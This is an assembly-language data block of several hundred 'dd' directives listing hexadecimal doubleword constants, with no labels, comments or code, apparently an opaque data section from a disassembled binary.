		dd 38205625h, 4F63F047h, 1008584Eh, 0B3806FABh,	0C828FDD3h
		dd 4CB178h, 0A0172CBCh,	46094557h, 846DE6BBh, 3484DFB0h
		dd 90C0A088h, 0E98E2470h, 0D40069FCh, 3D7E8C98h, 1891FC91h
		dd 0DC722703h, 82EF75DEh, 0ACE0E340h, 633088CDh, 0FDA2F81Fh
		dd 1CAA006Dh, 0BE346058h, 849E3CCBh, 4CF09700h,	378BAF39h
		dd 0EBC136D7h, 0F0440404h, 0B0A18D04h, 1D9C7411h, 69BF88h
		dd 0B1DA7A7Fh, 91DB8005h, 5CFCBA2Ch, 890C998Fh,	0EB2C2E0Bh
		dd 827882B9h, 0A00429E9h, 0C9DE605Bh, 0D9472174h, 0F63782C0h
		dd 5D1A00C1h, 0BD0EF2C8h, 3600BC70h, 0E7D8E0D2h, 6027DBF0h
		dd 4F7F31CBh, 5901320Dh, 54C44D12h, 18200234h, 757A28E4h
		dd 19922090h, 73801099h, 29EB09F1h, 8BE800E1h, 157DC4C3h
		dd 0DF3A3D56h, 75AD06A2h, 29314D88h, 8394B916h,	65079C37h
		dd 1FBA8101h, 640C10D1h, 2543CC20h, 0D4A6DB89h,	15F948C0h
		dd 2B368C04h, 404E9A30h, 1195C623h, 935F0036h, 536E2D4Eh
		dd 0EB7B0EA6h, 3FCA8848h, 0C47402E0h, 44608F0Eh, 0E34F9849h
		dd 820BDC05h, 0A6664000h, 0D5063C9Ch, 6FBCCC50h, 0B887971Eh
		dd 0E7F37147h, 355031E0h, 2944672Bh, 3CC480EEh,	6001A894h
		dd 0F604D8E1h, 0EBF1773Bh, 65E4A9E1h, 0A4709CFFh, 9F133CBAh
		dd 2F185770h, 3523FCh, 83217DAFh, 0D200473Ch, 0B6DA1608h
		dd 560A15Ah, 8235A4C9h,	3AD4536Bh, 3D823E4h, 45B32D9Ch
		dd 0D5C6F789h, 7C66A883h, 408B0512h, 54D20853h,	0E4F065D3h
		dd 857D601Fh, 0C490B0Fh, 4427FBE1h, 778C7EEEh, 0B32E8A29h
		dd 0A7844C24h, 0FCE0DFF3h, 27BAA045h, 0F2789008h, 1F3A4ECCh
		dd 0F44C06FCh, 0EA001803h, 6F0A41E5h, 58FD1B28h, 0EAE94464h
		dd 58A930h, 0C4A366CDh,	0BDF6C65Ch, 7779A603h, 0A4E8365Ah
		dd 7AFB18D0h, 4A50032Dh, 84CB879Eh, 429B96B0h, 0FC5C9102h
		dd 90C635C7h, 0B68BCDC4h, 77428108h, 6E69397Fh,	0D4C097F1h
		dd 41B1418h, 0B00FE048h, 91126CDBh, 32E8A898h, 107C195Ch
		dd 6C299A19h, 0D99F370Ch, 7361E869h, 0EAC2A8A1h, 1FF2A2E8h
		dd 815D391Dh, 8E64B1FFh, 0FB428EFh, 449F3176h, 0A4969B83h
		dd 205C4980h, 79C9C580h, 448CE147h, 309085D6h, 6605332h
		dd 5C4A4Fh, 4B6E93D0h, 70D8009Fh, 20BCFE76h, 0DF007AE9h
		dd 8F5182AAh, 22CE8EDDh, 757A1A88h, 0D8060B1h, 67BFE96Ch
		dd 7E5FA65h, 333529ACh,	9A6E3087h, 4903B2DDh, 83B7593Dh
		dd 8C1796Bh, 0CC26725Fh, 94277680h, 70983A3Fh, 0A15916F5h
		dd 9080095h, 8B34C668h,	4C44074Fh, 460F2E61h, 18094386h
		dd 0DAE17BEBh, 44F1E408h, 0D6AB008h, 4674EC49h,	0B7D10F37h
		dd 9CCAE97h, 0A71485DCh, 2C8ED8C5h, 88C03AC8h, 0F2B8A8Fh
		dd 0BDFE137Eh, 0EE7F002h, 0FA10A8A0h, 6100CD23h, 787350EAh
		dd 90DEB0h, 0B6F18BEBh,	7F634396h, 7DC5616h, 6A88C8DEh
		dd 5B1847D6h, 4755C6Eh,	0FBCE18E2h, 587CC07Eh, 0DCA8D026h
		dd 4A739FB1h, 0E300E190h, 4DAEE5EBh, 25EF061h, 0EF98ED7Ch
		dd 50597322h, 9FDC4681h, 620EA68Ch, 700FDCECh, 2FB7287Ch
		dd 0C06B4CA8h, 28CD4BCh, 0B3052F3Eh, 0C8809818h, 34780B09h
		dd 2849834Bh, 20D20BFFh, 0C146CAD0h, 478714F1h,	0C409ACADh
		dd 0B06DD601h, 0ACB10160h, 79CE09Fh, 593A6331h,	0FF44E23Bh
		dd 0EE17E4E8h, 0A2A8F325h, 40368824h, 0BE63518Ch, 68ADF868h
		dd 81AFD01Fh, 32FF4E7h,	9022E86Ch, 0ABD7D3E0h, 0AADEE0FDh
		dd 4632C100h, 23318D5Dh, 3A75038Bh, 0D96E63D3h,	0C464ACF8h
		dd 601ED613h, 1AC464CBh, 36C3025h, 4AA014F2h, 4224D463h
		dd 1C435470h, 40C5D710h, 6941BC80h, 39C25C41h, 7416019h
		dd 64408095h, 539031B9h, 0EDC420DEh, 887C9B34h,	1E89C031h
		dd 0CB4C042Dh, 447F2488h, 1D3467Ch, 0E0EDE51Fh,	0BEF02641h
		dd 76A55E8Fh, 4A44A088h, 0BFB00C7h, 277BB73Fh, 57E8930h
		dd 0F4D4CA00h, 9737EF14h, 739D1DEDh, 8F7200D3h,	0C1F5C63Fh
		dd 9575C204h, 0E240CE26h, 0D942A111h, 41C6A700h, 59BAC885h
		dd 437D09C2h, 0B4817F71h, 0DA9E63D4h, 37799871h, 0B300BF18h
		dd 3ECF9F2Fh, 92066D8Bh, 0B6D80054h, 6279B199h,	12770D0Ah
		dd 34BA8D00h, 6DA1912Fh, 510B04AEh, 0B090DBB1h,	7A169AB8h
		dd 688C2FE7h, 0EE9F0BAEh, 14660537h, 8C4B22F2h,	0DC438030h
		dd 8C4EF49Ah, 59C910E1h, 923700DCh, 5ED9B152h, 7301EAECh
		dd 34C5F26Ah, 0C440301Bh, 18C636EEh, 1032B854h,	0A20014ECh
		dd 528BFE6Eh, 4F992A4h,	861672A9h, 2194E0EBh, 0EC8C08BCh
		dd 0B607009h, 938EDBF6h, 0CD80007Fh, 48C5AF17h,	7E0C48FBh
		dd 0EAA1F690h, 3347E003h, 0C86322F1h, 0ABC78145h, 0DC0FF8B4h
		dd 5C8CB4D0h, 4618F5h, 0DFF47ECFh, 0ED1BD46Ah, 3C1AC6F2h
		dd 70E96DFBh, 50374690h, 0C629437Ch, 5EC4F88Dh,	7067800Fh
		dd 0DD400E2Bh, 2603E3EAh, 0B38E1416h, 0AA34C8h,	1DEA7F6h
		dd 0A603838Dh, 581184B9h, 75C9479Dh, 0DAC49847h, 0C0DE8145h
		dd 0A0DC8E94h, 0A6A41C13h, 0AEEEAC00h, 3EF9C459h, 0A061F00Ah
		dd 8407838Ah, 1AA54169h, 0E04F0CC1h, 15391820h,	0D0EDD7E5h
		dd 0D091F10Bh, 51CF40E5h, 0E7B4E280h, 45013317h, 9FA82312h
		dd 8724349h, 2EB1EA05h,	3EB8C8E7h, 0F5B97900h, 55C4B51Fh
		dd 8C62054Ah, 0E2CCC5CBh, 0B4812024h, 34656CCh,	0FA25340Eh
		dd 3F819B00h, 0D1150562h, 0FD83253h, 20B0D04Dh,	58099F49h
		dd 0AD811E8Bh, 699EC7CFh, 0C637299h, 80491440h,	14C0434Ah
		dd 2D5A145h, 0CDE4AB96h, 24516FF0h, 0EF3F1B91h,	63567004h
		dd 8040B85Fh, 0E21B55DFh, 0D0B0001Fh, 9574F1BBh, 7A4A9389h
		dd 5ADFB4C1h, 7304FC6Ch, 173AC6F6h, 3C880CAh, 4BD81DC0h
		dd 7430251h, 8D7A6344h,	4818A064h, 8FA90B47h, 0C6732487h
		dd 6333844Ch, 0FA808907h, 4204206Ch, 468C9BDCh,	26201F62h
		dd 0DBDC5Bh, 0FE50D9B3h, 74D3B27Dh, 4BE00850h, 94D58800h
		dd 0ADFA0AEDh, 1160BEFEh, 1718090h, 4242B3DCh, 8965C0A5h
		dd 2D467502h, 2050CECCh, 1184425h, 288BEA98h, 25B102F8h
		dd 0E881FC83h, 0BC3289CDh, 80452A41h, 72ABFA00h, 3B82E044h
		dd 66C61214h, 20900626h, 9CBEB00Fh, 48EB5B67h, 0F2DF2Ch
		dd 0EDBEB728h, 0B2B4A862h, 16D4AC04h, 80C0A509h, 269D6D9Ch
		dd 0DCC0EFBAh, 0CC34E600h, 4B0125DDh, 6D5E1815h, 0D998C11Bh
		dd 8EEF4400h, 96D21AB6h, 0E00700A3h, 7695F6E2h,	433E479Fh
		dd 0C2B06090h, 0AF3D835h, 0DE1BFF64h, 746824F0h, 0EA153246h
		dd 2C8BE038h, 61FB2068h
		dd 0C547370Fh, 0CB860485h, 771464ACh, 3ECF0FDh,	841E008Ch
		dd 4A11C7Ch, 0EB00BD81h, 8C5956E4h, 0CBDFB38Fh,	7884C4C8h
		dd 8B4A0F95h, 8C9040E3h, 0BC17956Bh, 5980D611h,	0A63FAC0Eh
		dd 6802D409h, 3F08C405h, 67B99481h, 0A358C780h,	0B74CC4F2h
		dd 4B5453EEh, 6B001594h, 0CE9FF795h, 0B9132Dh, 0D585247Eh
		dd 3D66E49Eh, 6E5F2609h, 72F0844Dh, 77C9DF60h, 97314710h
		dd 0BF80D5C8h, 70ADF634h, 7E990243h, 1DEBA3A7h,	0F04EA8FAh
		dd 6C9FB8C0h, 94A4A837h, 339B0071h, 0C27C8E15h,	8612181Ch
		dd 0F0607B09h, 31D23637h, 97407408h, 90202EF0h,	14F4963h
		dd 9E360E25h, 7480CBB1h, 88124740h, 0CCE165BFh,	23F82E2Bh
		dd 9C5C0003h, 47902816h, 6F386E17h, 0F3702C90h,	5B941FFFh
		dd 19989D06h, 63CE683Dh, 0D1852104h, 2FC5181Fh,	5661D880h
		dd 7602253h, 8A9B2874h,	54E817A4h, 0E88D2681h, 0B9B3CCF2h
		dd 597823F4h, 0AF009899h, 3435F8C7h, 8060B650h,	237001EAh
		dd 0CB079611h, 0C1E406A7h, 8024FFA1h, 4560FCC1h, 0CE893941h
		dd 2D699531h, 8341804Ch, 34FED710h, 0B4F65Ch, 0B8CF4593h
		dd 0BCD505E6h, 6F303CF2h, 1A043918h, 592600B7h,	82FEE710h
		dd 2700B99Dh, 7BDED3F2h, 0B99BBAAEh, 8E7506A0h,	0DB016903h
		dd 310D561Eh, 40506549h, 0CAC6D3h, 4695D9CEh, 0ECA8EB68h
		dd 0ED4EB700h, 0AEDF9F9Dh, 5634446Ch, 80DD273Dh, 0C3D9EED8h
		dd 91F40B4h, 9E052E06h,	6D5CF019h, 195B888h, 0E78F3543h
		dd 246CB277h, 7B409FF8h, 8F689965h, 1CC94CC6h, 6382F07Bh
		dd 0E076843Ah, 288BD2B4h, 25E755F7h, 8060F883h,	5309583Eh
		dd 994BBFA4h, 0F2048020h, 30D9B244h, 2800FAA6h,	77431065h
		dd 16813B6h, 8F4E839h, 619FBFBEh, 0C7ECF4E8h, 51A8CF48h
		dd 74702FDCh, 0F624826Dh, 8698B32Ah, 71C29D37h,	44F66624h
		dd 17D6100Bh, 251A88D0h, 0D28B0C60h, 0CB3C13C5h, 1F5CA418h
		dd 0A06CA541h, 808C34BCh, 7EDDB3D0h, 0EAB52E0Ch, 0F685C0DCh
		dd 0A3677FB7h, 8A21A160h, 0F0B02661h, 1071F4B9h, 0A25812F2h
		dd 0E8991EA0h, 70428110h, 0C2403A1h, 13FF0077h,	4B9BD648h
		dd 0DE17B63Bh, 6C741923h, 1A84208Bh, 0ED793025h, 40265AF8h
		dd 901B31C8h, 0BC01BF46h, 0A8AD523Dh, 0DC5877CAh, 0F58E09E7h
		dd 44046A01h, 7874C86Ch, 9E9EE12Ch, 0F3CD2405h,	0B92DF088h
		dd 4A7C0050h, 1CC38D03h, 66F6D607h, 2FBD765h, 0D43B8864h
		dd 0EB30BACh, 0B293B401h, 965C74D4h, 8309C090h,	672A1AB8h
		dd 60D94428h, 3C0A42h, 540235A3h, 0FF34C7F9h, 0EA05C09Eh
		dd 2C2EF6BEh, 0DD00D623h, 0D3B02E7Ch, 0A01769D0h, 0B2D21484h
		dd 3003E2E0h, 13EC9FEFh, 0E3F98201h, 0C3B78C79h, 2125A43Ch
		dd 0D0A66048h, 0C2B5B100h, 9B42DC98h, 587F0166h, 8BE7F6B7h
		dd 78309ECAh, 0FFDBE4C3h, 4951BF8Dh, 919E4044h,	0A3B7C9F1h
		dd 350948EEh, 50E8CBBEh, 811099D4h, 3E9EDE48h, 28626Ch
		dd 0CD9418E9h, 1338F708h, 0B298E78Bh, 0ACEF1D54h, 35238E40h
		dd 0D29913h, 0A196ADF5h, 6E677C71h, 61894302h, 90C135C5h
		dd 5E3790B8h, 0AB480332h, 191FD126h, 68C0DF2Ch,	0EA81820Bh
		dd 0F02800CFh, 3E71F8F6h, 8C1FDBFBh, 313026D7h,	984AA1EEh
		dd 14B9169Ah, 0A03E0047h, 0AC7449EFh, 0CA3C0304h, 0B8ED7E40h
		dd 59356000h, 957A9F79h, 65204871h, 5ADE3725h, 94E38028h
		dd 0D04E0CF7h, 0A4A2D456h, 60A91D00h, 42AB661Ah, 63BCC800h
		dd 57A08BF8h, 0A17FD4h,	7F735AF4h, 0E8B3D8BAh, 5C460A2Eh
		dd 0CCB675C3h, 6788ACBCh, 0CBF4F184h, 2B4F80F6h, 241E10D8h
		dd 0FAF22BC0h, 9C2DD966h, 0B8141032h, 5E82033Dh, 17EC08C4h
		dd 0F8F2CDB1h, 0B313AF02h, 88E1D8BBh, 0DBB1C840h, 410B402Ch
		dd 3796A52Dh, 0F50B0FB0h, 0D391B200h, 5400E735h, 0AACCF02Ah
		dd 4C1044C7h, 1BF8686Ah, 23052443h, 404153BEh, 0A5B34FA4h
		dd 723F2901h, 44C5026Bh, 2926943Ch, 1D59A459h, 4D008718h
		dd 0AA67A08Dh, 9601859h, 0D7CFB176h, 0C6F2E040h, 0F059BBF0h
		dd 8C600478h, 40BC3B87h, 0C73ED204h, 0F258B249h, 8AFB3035h
		dd 0F1074917h, 0B6362900h, 254D4AA0h, 344535B1h, 0A460D3E4h
		dd 0B0027821h, 27984735h, 0C4C06B3Bh, 0D5BCF4F8h, 5FE1008Ch
		dd 7F634518h, 0CB130F7Bh, 0DC045DB2h, 0B4A073BCh, 48AB2180h
		dd 7B809611h, 92B3CA01h, 6C8AA54Eh, 1734F00h, 14F6AD8Ah
		dd 0F9627005h, 84C090E2h, 5A9E1B71h, 4A0C8A69h,	0AD809CDAh
		dd 0A3102F77h, 113FD81Dh, 6C538C1Dh, 0EACCE4h, 72BD1EFBh
		dd 0C9DD3D63h, 0EE49C560h, 222F620h, 369D43D7h,	94A048ADh
		dd 19ACA366h, 0A47A9812h, 94015C94h, 0FEDEBE4Fh, 40289875h
		dd 2F8C18ECh, 4844B7E9h, 2E5B4009h, 78FCF319h, 0E5FF4A95h
		dd 1BDAE8BFh, 37B84708h, 0FB30B4Bh, 6723D802h, 602D3C2Fh
		dd 9E6C8070h, 0B65D804Ch, 0ED7DA4F4h, 29733F03h, 0F725C5F3h
		dd 34B0E957h, 4AF109D8h, 0C8F88B22h, 12F3C030h,	48EE6F71h
		dd 845E353Dh, 0F785CC4h, 2BFF080h, 0D8E009BCh, 0E0847FABh
		dd 0AC60B9D3h, 8EFA8Fh,	0DC3FD0Ah, 0C55EF442h, 347B3C12h
		dd 0A0D43497h, 0E9424804h, 0CB753EE8h, 4CC4C841h, 30819720h
		dd 0E8A553E4h, 6FF0347Ah, 7C809CBCh, 0FA4ECD9Dh, 70F200B3h
		dd 7757F92Bh, 673D4BA2h, 64AC8068h, 0E983B11Eh,	5EF4A2A1h
		dd 0D6465E94h, 11776B00h, 0BB10D9E3h, 4AC99E05h, 10AC724Fh
		dd 0C77EB201h, 6C3C07F3h, 5318040Ch, 9CC891C4h,	5C058C89h
		dd 768C99DCh, 0C1DC00A2h, 4979DC75h, 0BF1ED04Ch, 5F0C6C00h
		dd 3A2887F0h, 8789650h,	990032B4h, 0AA667972h, 9F1C07CAh
		dd 0A0078B9Eh, 0CE5D8E25h, 980A8C2Ah, 3CC64509h, 0C794611Fh
		dd 7611C824h, 28C500B8h, 62B5FBE3h, 7F5C4832h, 0C3E78064h
		dd 6F17BA79h, 78CBD837h, 1640C67h, 70009763h, 0B680D63Ch
		dd 59A5CE8Dh, 0BF8164DDh, 0C60EB8FBh, 9181F871h, 0DC93E62Ch
		dd 7D80247Dh, 90E48D89h, 2C52F626h, 1B3A6340h, 0AC1F0A4h
		dd 58ABE5EAh, 0A2324EB8h, 0ACD90320h, 0F08F9C59h, 56B50FAh
		dd 481AE1A3h, 0C568C84Eh, 9F775C05h, 0C0B2D0DDh, 0D5301FE2h
		dd 473C02DEh, 0AF87E7F6h, 0C481B0DBh, 0E6CDF0B1h, 34120C2Dh
		dd 9F502383h, 9258BDF5h, 3323D02Eh, 8FFE7200h, 9BA4F26Ah
		dd 0DF3A701Ch, 89E4B53Bh, 106C1CC7h, 7E0792C0h,	3FA0029h
		dd 42D4A18Ch, 47FE7F33h, 0A8000B76h, 43CBE25Ch,	0B58CCD7Eh
		dd 7AD4D490h, 830BDB90h, 222A652Ch, 79316374h, 8024BF4h
		dd 0A100DEF7h, 39D611DBh, 80CA332Eh, 30648E34h,	0E78C8F05h
		dd 60E2AB07h, 0A74CB6D2h, 10994C65h, 236C2F3Ah,	0E0B600DCh
		dd 6FE61C8Eh, 0C7A2B92Dh, 6002C4D8h, 0F2C094Ch,	88793357h
		dd 80769854h, 8C13838Dh, 0A0A32A16h, 0AF30D4A2h, 8BA03E48h
		dd 9189C052h, 1CE4C0C5h, 0DB41AD61h, 27EDBB90h,	1EF3109h
		dd 0E134482Ch, 0CB1201B5h, 58922882h, 345E2F26h, 1F5D4C00h
		dd 4E3FCDDh, 40C1FBF7h,	9850C09Eh, 2AF78981h, 8C70482Fh
		dd 0D6FE5500h, 916122B6h, 0E4C1022Dh, 7123E0F1h, 4AAF2C5Bh
		dd 1F459B8h, 0ACCF41B4h, 172AD068h, 4BC7C212h, 6F2DB4B3h
		dd 255DBCA0h, 9F0087A5h, 8885726Ch, 0FFB9CCEh, 664AA0FAh
		dd 0BBA10EE1h, 4E04C5Bh, 462D7122h, 0C9C30246h,	0F4D1477Bh
		dd 0D8835818h, 0D30095F2h, 0AF8ED918h, 5CC254E4h, 5FCBEC07h
		dd 32005CE4h, 89A5BF03h
		dd 77833EDh, 0D9AC5434h, 18B940Eh, 61E93175h, 9746E2Fh
		dd 530189B0h, 181E5920h, 31A9003Fh, 0DEB609ECh,	7B0740A0h
		dd 7F490C8Eh, 92CC1999h, 40070C60h, 0B0907BCDh,	0D816722Eh
		dd 622F8F1Fh, 0DCE054C4h, 0C4968100h, 0DBEB1970h, 2B87138Fh
		dd 0C900DCA6h, 2107A203h, 0D9F1E77Ah, 0EC93A3AFh, 0DDFC916Dh
		dd 2C5D85Ch, 9D7E7B01h,	8ACEB207h, 2A3C4B3Eh, 4E1820C8h
		dd 1CD3F509h, 61EC406Fh, 0DC9A00F0h, 0BBCE51BEh, 43498983h
		dd 10A70288h, 0D42D1D3Fh, 2F1FBF10h, 0BE19001Ah, 0EC40D542h
		dd 9961FCBEh, 6C32C017h, 0C8E08A93h, 2BFC7D5h, 0E8715189h
		dd 786D3F00h, 3C55D5h, 0FF44971h, 734B2333h, 8B8DA401h
		dd 68CBB062h, 972CF83Ch, 0EC35A548h, 0D2B87E81h, 5B61D326h
		dd 149B4E4h, 2EB14235h,	6AE38847h, 7BD2DC0Bh, 7F935804h
		dd 73006E78h, 0C252600Fh, 0D4B56FFh, 0EDD4C488h, 0C06B6F58h
		dd 0FB01683Ch, 0DA33C4AAh, 88162B48h, 0A1DD5C0Bh, 60B324C0h
		dd 2CDE434h, 436725BDh,	0CCDC045Ch, 40003524h, 4CE80153h
		dd 90D86B88h, 2D18CF1h,	3D03AC18h, 951D54FBh, 3FBBE1AAh
		dd 0B49C81FAh, 6023938Eh, 34FF403h, 0F298A49Bh,	802CCDFh
		dd 4845C460h, 3F68D9AFh, 30E7EEFCh, 7721F4D6h, 731D3598h
		dd 591A618Fh, 4107830h,	714317CDh, 0B890AD50h, 7273F6B1h
		dd 4EA30026h, 589EB802h, 1950E879h, 1D005514h, 73C28E48h
		dd 0A2B281h, 0A332F94Ch, 6872A74Ah, 8DCD7416h, 90018CA3h
		dd 9708B1DEh, 0A2F8739Eh, 7DAC301Ch, 8802600Fh,	98899223h
		dd 0B57C216Fh, 7A80F8D5h, 5044C609h, 6EE0E731h,	0B3088011h
		dd 0D5F6A2h, 8E5EB169h,	5F253E5h, 41678B25h, 246B379Ch
		dd 0B794B29Ch, 4805C008h, 0F3007BBAh, 9F3E662Fh, 53FD8ACh
		dd 0ECB325CDh, 0A85C8470h, 8CD7BC68h, 8E2BF800h, 0C5B727FDh
		dd 0C52C4BA2h, 7EF8E444h, 40E8E890h, 2B2BE845h,	8C7024h
		dd 69C9AFD2h, 173B26EEh, 83B15F0Bh, 4BCC40D4h, 86D1680h
		dd 5DC400ECh, 1BE7F3C0h, 0EC027AE9h, 0C0F46734h, 8879BFF0h
		dd 0EA73A238h, 0CCD3FD5Fh, 9F88044h, 61D978DFh,	5B7088B0h
		dd 19218221h, 0D2C9E499h, 1D7CBEECh, 74FE2035h,	5CFC3801h
		dd 0C265D26Dh, 180B642Dh, 0C437D1E0h, 0F6956F02h, 2FCC427h
		dd 0F19B9A70h, 707BEF28h, 0DDC43B59h, 0CEA400ECh, 0F0489833h
		dd 45814A47h, 37BC4C2Ch, 6375008Ch, 0AA8F05E0h,	0A52274FBh
		dd 0E3AF802h, 3CCA425Eh, 0F34CB093h, 0D08B700h,	0B4D10F50h
		dd 0B16C0F96h, 89B888B2h, 3F390893h, 0C56E816Fh, 69DCAB4h
		dd 9924DE8h, 15FFF2F7h,	4CE8A0C3h, 58C2F556h, 409DF411h
		dd 25A23B30h, 58ED5C4Ah, 0E86EA0CEh, 1A05CACh, 0BC4CDD5h
		dd 2B12A8DAh, 9AB8B4C3h, 2698A102h, 3B7A6596h, 7D523DCh
		dd 0FBE984C6h, 0A5004CC4h, 92767CF8h, 14640E7h,	0F6042EEEh
		dd 2CAA63A9h, 8C31BCFCh, 8FE820Fh, 11642F7h, 2EEC7E7Bh
		dd 0D4465C50h, 6EF7FC09h, 610C4490h, 0B233000h,	0ED529C59h
		dd 0BBD902FDh, 333C9DEBh, 64025078h, 0A04147A6h, 13CD66Bh
		dd 34D8AD24h, 0BC4F2046h, 0C902E327h, 403B2C68h, 0D6918030h
		dd 27000AEAh, 89DD990Dh, 0C377A0DBh, 1DF8C020h,	4EBD92C9h
		dd 0D3FE1120h, 3C5ED089h, 0A96217D6h, 97F0C87Eh, 72188000h
		dd 6C603D39h, 1D8100F6h, 77765B54h, 0B0733AF9h,	79A69A09h
		dd 275BE0CCh, 56A4A8CAh, 78E900AEh, 0EC8C419Dh,	45027EB2h
		dd 0B1C4BEEFh, 0B0A260DEh, 0BC37B5DFh, 7D7CC202h, 0B7C04450h
		dd 49343404h, 0A2DC682Dh, 0A56900EDh, 3FDE8DE3h, 359D6A78h
		dd 0B21480B4h, 0F4B3B034h, 0C92024Fh, 8DDCE82Fh, 0E8030DBh
		dd 0E5EB5018h, 37EADD09h, 8C5A2Bh, 6ADAED62h, 0B8CF0D8Bh
		dd 0F7CA2300h, 983D6342h, 37E876h, 9E7E6D7Ah, 0EAF88BF5h
		dd 61E3D619h, 0F022D3B0h, 7A301FF2h, 9B8604A0h,	0C88235C5h
		dd 0CA2491ACh, 0B727B0ABh, 7CC90088h, 0EDB7043h, 48DDBD04h
		dd 789427B8h, 59AC54C1h, 0FD4403Fh, 91723E79h, 5B97C825h
		dd 6C2382Ch, 0C826B2C7h, 2F1D00A1h, 0B3B5B6D4h,	3E0099DDh
		dd 90080122h, 57972C3h,	32FFA037h, 0DBD0C370h, 55BA6EABh
		dd 4EAF5C04h, 0BD20CE70h, 4B40A023h, 0A44AF928h, 0E44CE595h
		dd 0B0156018h, 0C64C5EDBh, 0B0AD4924h, 6E5824C0h, 0C42CF15Bh
		dd 0BF9F6504h, 42CA8CBh, 0D987F2F6h, 0A20816EAh, 3036F2D8h
		dd 63005755h, 4931D2ADh, 4D6867A0h, 0FF1D0CE7h,	0E8418CA3h
		dd 485C8310h, 0C03A4E28h, 3600D523h, 0A03D6CECh, 5354394Ah
		dd 8CD885DBh, 0E40B9B20h, 9115157h, 0DCE05E60h,	3EEAD04Ch
		dd 0DEC380BCh, 0EB8EE58Bh, 9E960B75h, 0C78233Ch, 0F0DB42Fh
		dd 0FF62E4C8h, 7A733C42h, 5F87F100h, 0BC229DCFh, 0E70097D4h
		dd 0BFFF1E29h, 0BB0080BDh, 0E5D212D9h, 81AC4C14h, 765D6700h
		dd 0A54349C3h, 942ED494h, 0F6CA00DCh, 8D9C0C79h, 7A053458h
		dd 10A5E78Eh, 0F0F0A817h, 4B94947Eh, 0F16FB4E5h, 0C449FC80h
		dd 4892AF34h, 9B96F25h,	11381D10h, 81938002h, 0AF10FBh
		dd 574ACAA1h, 0B46A83CDh, 0FF4C0898h, 0E7F68140h, 803CD50Fh
		dd 4522C864h, 0B0536C2Ah, 31C8808Bh, 608BD5C2h,	1867FE6Dh
		dd 0D8377C4Bh, 9CA68F4Dh, 0FFC431C2h, 0A70C46F2h, 603044B8h
		dd 0FC49F2h, 53A0E591h,	0A29E1FB3h, 0FDE46550h,	246BD15Ah
		dd 3080BD3Ah, 3EB71AD6h, 465C4C63h, 8C1CE8F0h, 3190F775h
		dd 83B36902h, 0E92D030Ch, 0FF6ABECh, 57F69FE0h,	0B2981050h
		dd 349D3715h, 0B42F4ED4h, 2100D723h, 4C50D6ACh,	49BCBC2Bh
		dd 3FC86780h, 0D20726D4h, 9054CED9h, 0DF3E4100h, 3750323h
		dd 635F0738h, 79DA24C8h, 0D79BAF09h, 4C60A961h,	0D488BEDCh
		dd 0E08B4C25h, 80137C78h, 35606D50h, 48C1D2A1h,	0B634C31h
		dd 0ED4F1400h, 7F0FD3BEh, 0D4F00D4Ah, 44C400F0h, 0E1AA6789h
		dd 49E51EBh, 251A215Eh,	0DB88AB80h, 49A73367h, 7E10BC03h
		dd 1F15171Ch, 0D923503Ah, 8084660Fh, 0FA28F02h,	34C50CCEh
		dd 6A601AA3h, 0F77ED200h, 40AF56C6h, 0A9E800B2h, 9FACD1E4h
		dd 0E5058E07h, 0E05C3649h, 0F263D088h, 98A0662h, 10865F81h
		dd 10244E48h, 3F0A02E8h, 0ED8366Ch, 0F5807F2Bh,	0BCDBB169h
		dd 0A954819Fh, 0C4E0B35Ch, 0F010D211h, 9CBCCBFCh, 10F0CD89h
		dd 0C644FCh, 9E5B28DDh,	0F4FC7A06h, 25C2A809h, 2AFF85D3h
		dd 0D5A268F3h, 45DE130h, 5CC7E689h, 2DC4FD90h, 0E9C8689Fh
		dd 11A500C1h, 2CDB9A08h, 0E40167AEh, 6BF0A8CDh,	0F47047BBh
		dd 0A638D21Dh, 0A0343EF8h, 4220020Dh, 8EC4148h,	80AC370Bh
		dd 25430BD0h, 180568B8h, 3AF6666Bh, 682ACC4Bh, 0EFABE298h
		dd 0FAB17720h, 9C95008Bh, 50F0B0AAh, 0D72544F9h, 0F1B079C7h
		dd 0A2FE18D4h, 881775F4h, 6C800291h, 300610CFh,	0E9D47D0Ch
		dd 70E173h, 69A323D7h, 87CDAE1Bh, 512E3E01h, 9D7E42DEh
		dd 14C4C071h, 883C9C16h, 0E5053F2Bh, 0A83AC426h, 0F8091823h
		dd 0E05803C7h, 28584866h, 241FF310h, 97AF5845h,	8718916Ch
		dd 0FD008B6Fh, 901FC4C5h, 5EF0BC74h, 65011D46h,	0DA53E9C1h
		dd 7FB02071h, 0D89E3429h, 878C9807h, 5487D8A4h,	0CA7518A3h
		dd 79A4C851h, 5FA327A7h, 0CA932840h, 9FA0EC54h,	690DBC30h
		dd 0BD08D222h, 0A4412803h, 0E5F79EC0h, 0BF911B00h, 4649DA26h
		dd 3C679770h, 37601CC4h, 13002E94h, 0F7BED204h,	97B3B847h
		dd 0EF002C89h, 0D18875C5h
		dd 94B8D9D3h, 98C30BCh,	0DC6211EDh, 10F83082h, 579AFD00h
		dd 259CBC45h, 1B60746Dh, 1A3B14CEh, 0A1408A75h,	70510E1h
		dd 0ACCBD095h, 9DC002C8h, 2887106h, 0AF74E8ABh,	0A478C7BBh
		dd 9B21A500h, 0A9448C81h, 0C6420449h, 0D26D585Ch, 6C10B130h
		dd 31E82053h, 6D67C712h, 464890C0h, 6FC0A874h, 5879C992h
		dd 0E7019851h, 9CC70233h, 803DB1E5h, 0E4A017BCh, 0B38065E7h
		dd 5D4A17DDh, 0C0DC9AD0h, 0C288ED03h, 0D72F04DFh, 0B09B8B06h
		dd 0E7023B44h, 0DB8D192Bh, 483CD2FCh, 3E8CCA5h,	18B70E8Ch
		dd 65E1E67Fh, 20C249E0h, 949E9418h, 0E7E49E01h,	0A820A45Bh
		dd 0A8C55409h, 23372543h, 6D0BCF3h, 0F8FF5C75h,	60248A2Fh
		dd 0C808CBD2h, 6DEEC303h, 3AB7AEB8h, 0EB2E7B07h, 8E31BFE4h
		dd 5EF6D79Fh, 69238B14h, 0C2D00873h, 18750BADh,	0D4E39853h
		dd 50C0E7BBh, 7001BABDh, 0BBB177B4h, 0C12F5ED1h, 283D1960h
		dd 0C8B4E68h, 30251A84h, 0FF418520h, 28BD2C0h, 531E04F8h
		dd 54C7C002h, 7360D8E4h, 173FF703h, 44780E4Bh, 6B6846CAh
		dd 0E78F12D0h, 89B0B09Bh, 75C03F04h, 12BECBD9h,	0C878CB88h
		dd 4953C0DBh, 0EA0703E7h, 0DDA71684h, 1122D631h, 0DA305084h
		dd 2590F88Ch, 1852E8h, 0DB679747h, 0CE4FFCE5h, 0DA314009h
